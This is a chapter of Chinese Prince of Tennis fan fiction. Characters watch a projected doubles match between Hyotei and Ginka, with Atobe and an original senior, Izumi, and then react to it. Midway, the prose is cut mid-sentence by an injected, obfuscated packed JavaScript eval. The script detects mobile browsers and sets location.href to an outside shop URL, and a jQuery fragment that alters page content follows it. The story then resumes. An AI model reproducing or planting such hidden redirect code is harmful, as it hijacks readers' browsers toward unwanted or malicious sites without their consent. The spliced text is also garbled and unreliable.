“要换场了。”迹部景吾眸色闪烁，看着场上的局势变化，隐约察觉到了对方想告诉自己的东西。
“欸？”向日岳人眨了眨眼，“这是两边都换人攻防了？”
芥川慈郎揉了揉眼睛，打了个哈欠道：“迹部看起来有些意外。”
他说得当然是光幕里的迹部景吾。
观影空间的迹部景吾笑着摇了摇头：“看样子，他已经发现了。”
“日吉，好好看。”
他叮嘱着自己看好的后辈。
日吉若下意识想到了刚进训练营后的那场意外的双打。
……变成单打了啊。
所以这两场比赛间，有共同之处。
他沉下心，静静地欣赏着两种极致的碰撞。
【“泉，你果然很敏锐。”田中裕才看向泉隐月的视线很温和，完全看不出是作为对手队伍中的部长的气势。
“不过，还是很感谢你们的成全。”田中裕才并不是一心专注网球的痴者，基本的敏锐度还是有的。
银华与冰帝，犹如朝露与炽日。
对方完全可以将他们银华不放在眼里，或者只是当作积累经验的普通对手，根本不必用如此豪华的阵容来对阵。
“哪里。”泉隐月笑了笑，“我只是带着我最看重的后辈站上球场而已。”
“田中前辈不也是吗？”
田中裕才一愣，随即反应了过来：“那倒也是。”
看向泉隐月的目光发生了些变化。
这个人，很可怕。
“迹部，下半场交给你怎么样？”泉隐月擦了擦汗，看向身侧表情不太美丽的迹部景吾。
“早该如此。”迹部景吾气哼一声，对于自家喜欢擅作主张的前辈有些恨铁不成钢。
“泉前辈之前说过想和我来一场双打，就是这样的双打吗？”迹部景吾很不高兴，哪怕他隐隐能猜到泉隐月的意图。
但是那又怎样。
这不是迹部景吾所期望的双打。
两个足够强大的单打选手组成的双打，应该要更强，也要更令人瞩目。
泉隐月轻笑：“那部长说接下来应该怎么做？”
“泉前辈不是说要我见识你真正的网球吗？”迹部景吾挑眉，“单打的刚刚已经欣赏过了，双打的实力也要拿出来了吧。”
他才不会相信对方的双打意识普普通通。
“当然。”泉隐月欣然应道。
田中裕才同样在和浅野绿沟通。
“阿绿，给我两局的时间。”田中裕才少见地请求道，“两局之后，你重新回到前场。”
浅野绿的视线越过田中裕才看向了有些吵闹的冰帝半场，眸中划过一丝了然：“当然可以。”
他笑着点头：“部长很看好冰帝的那位部长？”
田中裕才与他直接的沟通一贯直来直往，现在也同样没有丝毫隐瞒的意思：“泉那孩子帮了大忙，我大概能够猜到他想要什么，所以两局的时间是我们能给出的极限。”
两局的时间，是银华真诚的感谢。
“部长想做什么就去做吧。”浅野绿认真地看着对方，“银华从来都是如此。”
尊于本心，方得始终。
“前辈们之间的交易放在球场上不觉得违和吗？”迹部景吾讨厌这种被人瞒着的感觉。
田中裕才浅笑着看着他：“或许再过两年你就懂这些感受了。”
他们这些人，没有谁最初就是这副模样。
时光将他们雕琢成了自己都没想象过的模样。
迹部景吾握拍的手紧了紧：“那就请前辈多多指教了。”
太阳逐渐高升，空气仿佛都被融化了一般，球场上奔跑的人脚步不歇，连着影子一起跑前跑后。
这是他们选择的战场。
迹部景吾看向对面两人，脑海中难得有一瞬间恍惚。
最开始定下的名单里，泉隐月仍然作为双打二奠定开门红的存在，他则是留在单打三。
寒咲霜月不知道他们名单是如何安排的，只是给他们强调了对方实力最强也是最特殊的两位选手。
而迹部景吾极大概率会对上其中一位。
如果不是泉隐月的神之一笔，或许迹部景吾整个国中都没有机会遇到对方。
回忆里寒咲霜月看向他的视线一直都是温和的，而且对方的能力确实很突出，所以在迹部景吾的心中对方在网球部的重要性仅次于他和泉隐月。
“迹部，你需要更关注的对手是银华的部长田中前辈。”
“那个一年级的呢？”迹部景吾并不觉得能被三年级前辈看重的一年级会是弱者。
“对方是个天才。”寒咲霜月同样直白，“但你们两个对战，他会输。”
“为什么？”迹部景吾不自觉皱眉，他不觉得寒咲霜月是那种无的放矢的人，但是他需要一个合理的理由。
“很简单。”寒咲霜月坐在他身侧，手上的平板调出了浅野绿的比赛资料。
“部长和部长继承人所承担的压力和责任是不一样的。”
“你的潜力不输于任何人，所以我并不觉得在更紧迫的高压下你会输给对方。”
迹部景吾点了点头，这个道理他很清楚，正是因为知道他才能明白为什么泉隐月还是部长时的网球和不是部长时的网球差异如此之大。
或许在旁人看来很不可思议，但是真正了解泉隐月的人才能明白对方的难处。
“经理对田中前辈的了解好像很多？”迹部景吾并没有错过对方提到田中裕才时语气里的那一丝熟稔。
“我和隐月国一时，对方曾经和立海大的天海前辈打过一次比赛。”寒咲霜月提到天海澄时，迹部景吾就明白了对方绝非等闲之辈。
“像田中前辈这样的人，其实是最难缠的。”寒咲霜月语气里带着笑和感叹。
“论实力，他或许不是最强，但是对方的毅力、锻炼出来绝佳的精神抗性、还有无论什么时候都不会迷失的求胜信念……”
“迹部，对手会比你想象的更加强大。”
“我会赢。”迹部景吾这样回应道。
无论是多么强大的对手，他都会为冰帝带回胜利。
“你和高桥的比赛我在现场。”田中裕才骤然开口，内容让迹部景吾惊讶抬头。
“后生可畏啊。”
迹部景吾面色如常：“谢谢夸奖。”
“洞察力和持久力同样出众，看样子这场比赛注定要是持久战了。”
“前辈究竟想说什么？”迹部景吾不懂对方的意思。
他对情绪的感知同样敏锐，能够感受到对方的夸奖都是真诚的，但是他却不明白对方这样的意图。
如果是立海和山吹那样的垃圾话他还能勉强理解为心理攻击，但是这样的夸奖是想让他得意忘形吗？
可惜打错算盘了，夸奖这种东西，来得再多他都能受得住。
“你的感知既然如此敏锐，怎么会没发觉泉的状态不对？”田中裕才的眼中带着几分意外和同情。
迹部景吾心一沉，嘴角绷紧。
“泉那家伙，玩脱了。”杉山枫双手环抱在胸口，眼中不自觉地划过担忧。
“寒咲……”毛利寿三郎刚准备喊人，却发现对方的脸色极差，一双漂亮的异瞳眸光极其冰冷。
吓得他下意识噤声。
一时之间，冰帝这边安静的可怕。
只有球拍挥动带出的气流声和球落地又被击出的破空声。
“2:2！”
“平了！”
“2:3了！银华领先了！”
……
一些喧闹的声音让整场比赛的环境不再和平。
天海澄叹了口气。
高桥秀和没忍住问道：“怎么了？你又看出什么了？”
“迹部那孩子，击球的风格变了。”佐藤真理也叹了口气，他能明白对方做出这样选择的理由却也明白这样的结果。
会输的。
他继续这样，冰帝会输。
手冢国光看向球场的神情复杂：“他在为前辈争取恢复的时间。”
他并没有放弃战斗力半失的前辈。
泉隐月的网球是典型的伤敌一千自损八百，单凭迹部景吾这样的拖延，只是残酷地慢性死亡罢了。
“果然。”棠华没忍住笑着摇了摇头，“冰帝的孩子，心肠都很软。”
换场间隙
“笨。”一双手绕过迹部景吾的腰，笔直修长的手覆在他握拍的手上。
“握拍握得这么紧，会很吃力。”
迹部景吾松开球拍，任由对方替他接住，紫灰色的眼睛里情绪激荡，却又在看向那张脸的瞬间哑火。
太苍白了。
他的眼眶有些酸涩，但是骄傲的性子又让他难以说出软话来，简单喝了下水擦了擦汗就一个人甩开泉隐月去到了冰帝的半场。
榊太郎看向泉隐月，微微挑眉：“你应该记得应下的事情。”
对冰帝而言，战力最强的一局如果落败，对士气带来的打击必然是致命的。
这场比赛，冰帝没有第二个可以接受的结果。
“记得，您放心。”泉隐月薄唇轻抿，金色的眼睛依然璀璨。
榊太郎这才放下心来。
“迹部，不要改变你原来的风格。”泉隐月温声道。
“我没有。”迹部景吾偏头过去不看他。
“就用最擅长的持久战就好，我会配合你的。”泉隐月没理会他的掩饰。
迹部景吾深呼吸地好几下才定定地看着泉隐月：“所以呢？持久战之后，你确定你还能站得住？”
泉隐月接受着他情绪的宣泄，这样别扭的关心也欣然接受。
“我没问题。”
“不行。”迹部景吾冷声否定道，“本大爷又不是只会持久战！”
泉隐月哄道：“当然，我们景吾会的可多了。”
迹部景吾撇开了不去看他，只是耳朵不自觉地蔓上红意。
“景吾，我的网球就是这样的。”泉隐月看向他的表情是坦然的，“你并不需要将这些也归咎到自己身上。”
他的网球会让自己受伤，这件事他一早就知道。
可这是他选定的路，哪怕再痛苦他也能忍过去。
难得有一个人解去了他浑身的枷锁，他并不希望对方又重蹈他的覆辙。
他可以跟得上迹部景吾的节奏，一开始可以，现在同样也可以。
“为什么宁愿伤上加伤也不愿意我改变方式？”迹部景吾不理解这一点。
“我不希望你因为我退让。”泉隐月看向他，红色的软发被汗水浸湿，贴着他俊美的面容，整个人难得内敛几分，却同样闪闪发光。
“不要因为任何人退让。”泉隐月不知道自己说得对不对，但是他不希望自己吃过的苦头后辈再走弯路。
“你的网球同样很重要。”他轻轻点了点迹部景吾的眉心，“保持自己的风格坚持走下去，是一件很有勇气的事情。”
他相信迹部景吾可以做到，但他也担心对方太心软以至于改变自己的步调。
以自己来做这个代价，刚好卡着迹部景吾能接受的底线。
“前辈真是下了好大一盘棋。”迹部景吾多聪明的人，一下子就懂了他和田中裕才之间的弯弯绕绕。
“所以，接下来是你的主场了，部长。”泉隐月看着他朝前走去，还未抽条的少年身形单薄，却像是阳光雨露下茁壮成长的小树。
他会成为很优秀的人。泉隐月是如此笃信。
冰帝这边氛围一变感受最深的就是作为对手的银华中学。
迹部景吾看向田中裕才的视线颇为友好：“前面麻烦前辈了。”
“想通了？”田中裕才很是欣赏面前半大的少年。
“不是想通了。”迹部景吾目光炯炯地看向对方，“而且我觉得前辈说得话有些不对。”
“作为观众看到的比赛，和真正站上球场所感受到了，差别还是很大的。”
田中裕才听懂了他的言外之意，眼底笑意泛起：“我很期待。”
“啊嗯。”
浅野绿再次回到主攻位。
这是他真正意义上和同为一年级的对手交锋。
“你很厉害。”浅野绿直白地夸奖着自己的对手。
迹部景吾对他也很是欣赏，也明白了为什么对方值得不少学校三番五次试图挖墙脚了。
哪怕是寒咲霜月在他面前提到浅野绿时也是带着几分遗憾，挖了两三次都没把这个好苗子挖到冰帝来。
于是迹部景吾下意识开口道：“要不要考虑到冰帝……”
“噗呲。”泉隐月十分不给面子地笑出了声。
浅野绿尴尬地摸了摸后脑勺：“不用了。”
“不过我很开心银华对手是冰帝。”
“本大爷也很高兴。”迹部景吾眼角的泪痣熠熠生辉，整个人恍若脱胎换骨般气势逼人得紧。
田中裕才心里暗叹。
那孩子，已经是一个成熟的部长了。
银华，终究还是棋差一筹。
“他的心结解开了。”手冢国光高兴地说道。
高桥秀和点了点头：“泉那家伙为了这个小部长可是费了一番心血。”
天海澄烟蓝色的眼睛里带着几分叹然：“他很享受。”没人清楚他再说谁。
“是啊。”棠华了然，“也算是解决了他最担心的问题。”
佐藤真理看向泉隐月，逐渐完善起了自己那个计划。
“泉前辈！”迹部景吾负担着后半场一对二
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17191538|197075||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
的压力，整个人有些吃力，持久战下的每一分都格外重要，但是刚刚他漏接了一个球。
但是冰帝得分了。
他这才看到泉隐月冲着他比了个大拇指，正是因为他，所以刚刚那一分被顺利拿下。
“我在呢。”对方温声应道。
“泉前辈现在恢复好了？”迹部景吾看向他的视线有些热烈。
泉隐月拍了拍他的肩：“放心。”
“景吾，你要相信你选择的搭档。”
迹部景吾笑弯了眼：“我相信前辈。”
“你更应该相信自己的眼光。”泉隐月没忍住戳了戳迹部景吾还带着婴儿肥的小脸蛋。
迹部景吾这样骄傲的人，能够成为他的搭档的人，不可能是弱者。
泉隐月也不会允许自己成为那个拖后腿的存在。
“比赛结束！比数6:4！冰帝学园胜利！”
伴随着裁判话音的落下，浅野绿近乎脱力地朝后倒去。然后被田中裕才揽肩扶住。
“辛苦了，阿绿。”
浅野绿手背贴着额头，双眼难得有些放空。
“冰帝……很厉害。”这是他第一次真正意义上感受到如此逼于极限的高压。
只是很可惜，在球场上对方突破了极限而他并没有。
但是浅野绿一直以来的状态都很稳定，以往这会成为他在大赛上的优势，可是现在他发现这似乎在成为他战胜那些对手的枷锁。
他需要突破。
需要能够让自己跨过那道界线的力量。
“阿绿，想成为和对方一样的一年级部长吗？”
“部长，我来年可以成为部长吗？”
两人同时开口，两双同样偏近绿色的眸子里带着如出一辙的惊讶和笑意。
“当然。”
“好啊。”
又是异口同声。
“下一次，我不会输给自己了。”浅野绿觉得自己在整场比赛中最大的失败是输给了自己。
“我相信阿绿会做到的。”田中裕才从不怀疑对方的潜力。
天才努力的目标，是普通人拼尽全力仍旧可望不可即的。
他早已释怀自己的天资普通。
“很精彩的比赛。”
田中裕才回到位置上，一只布满薄茧的手掌心向上摊放着几颗包装精致的糖果。
他顺着手抬头看，撞进了一片海天一色的风景当中。
“天海，你怎么来了？”田中裕才伸手，任由对方将糖果倒进他的掌心，然后分发给队员们。
“看你的比赛啊，毕竟如果你们赢了，关东总决就又会对上了。”天海澄没打算戳对方伤疤，语气也比较轻快。
“你怎么没和你的部员一起？”田中裕才有些好奇。
“他们都要开始自己独立了，我总是和他们一起，会有依赖性的。”天海澄不希望因为自己的缘故而阻碍了他们的成长。
“诸位，好久不见。”田中裕才比较难得，在场的几位三年级全是和他交过手的。
相比之下天海澄就有些惨，到了国三才和棠华遇上，国二和田中遇上，和高桥佐藤遇是遇上了但是他当时在单打，压根没出场，只是后来机缘巧合下熟识了起来。
“看样子浅野那孩子终于主动起来了。”棠华看人透彻，银华实际是就是天使化版的青学。
因为大家都太好太温和了，所以浅野绿根本没有主动争取的意识，被动地接受被动地回击，球风中同样深深印刻着银华稳的作风。
老祖宗说过，主动才有故事。
同样的，一个被动一个主动，节奏肯定会在主动的人手中。
田中裕才正是发现了这个问题才会带着对方在双打位上呆着。
“是啊，我也算可以轻松一下了。”田中裕才耸了耸肩，表情也轻松了几分。
“佐藤，你们打算怎么办？”他也知道青学的处境十分尴尬，但是两人交情不错，他也知道对方看重的后辈同样是一个十分优秀的一年级。
“快了，全国大赛前应该就能结束。”天海澄说道。
“你插手了？”田中裕才微不可见地皱了皱眉。
“嗯，不然会比较麻烦。”天海澄点了点头。
他明白对方在担心什么。
但是立海大今年势必要夺得全国冠军，在一切还未开始前解决掉那些麻烦，关注的人才会少，才会更方便将痕迹都抹去。
“你一向都有分寸。”田中裕才也不再多说什么，只是点了点头，“有什么需要我们帮忙的就直说。”
“放心，不会跟你们客气的。”天海澄歪了歪头，有些好笑道。】
“嗷！”还没等其他人从这难得称得上有些“惨烈”的局面中回过神就被一声嚎叫给吸引了注意力。
切原赤也捂着被无良前辈捏红的脸，猫瞳含泪：“丸井前辈！你干嘛！”
丸井文太不好意思道：“哎呀，这不是看着泉前辈的网球想到你了嘛……”
说着说着声音就低了下去。
其他几人也是脸色一变：对啊！他们忘了切原赤也的网球和泉隐月某种意义上可是同类啊！
柳莲二只觉得头疼。
仁王雅治暗道不好。
果然，下一秒某只不长记性的小崽子就双手叉腰地叫嚣了起来：“泉前辈都说了，要保持自己的风格，本大爷……嗷呜！”
切原赤也捂着额头，就看到了迹部景吾刚刚收回去的手。
因着是他还挺喜欢的前辈，切原赤也弱弱地问道：“迹部前辈，你敲我脑袋干嘛？”
迹部景吾本就因为光幕里的事情思绪难平，某只小崽子还在他情绪阈值的边缘蹦跶，一时之间没忍住屈指敲了敲对方的额头。
切原赤也的皮肤又嫩又白，只是稍稍用了点力气就是一道红痕。
迹部景吾叹道：“赤也，爱惜一点自己的身体不好吗？”
虽然那个时空的泉隐月执意如此，可对方是前辈他是后辈，他没有资格去置喙，但是当身份置换后，他相信就算是泉隐月站在这里，也只会狠揉一把切原赤也的小脑瓜子。
对方实在是温柔。
哪怕自己伤痕累累。
他们都被人费尽心血地呵护着，这样的感觉难免会让这个时空的自己感到眼热。
“可是……”切原赤也还想说些什么，但是在座的多数都是他的亲爱前辈们，愣是将已经到了喉间的话又咽了下去。
幸村精市摸了摸他被捏红的脸，轻声道：“赤也，对网球选手来说，身体真的很重要。”
“……我知道的，部长。”切原赤也当然懂这个道理。
哪怕他不懂，幸村精市住院的那一段时间，他也明白了这个残酷的道理。
在生命面前，天才和普通人一样脆弱无助。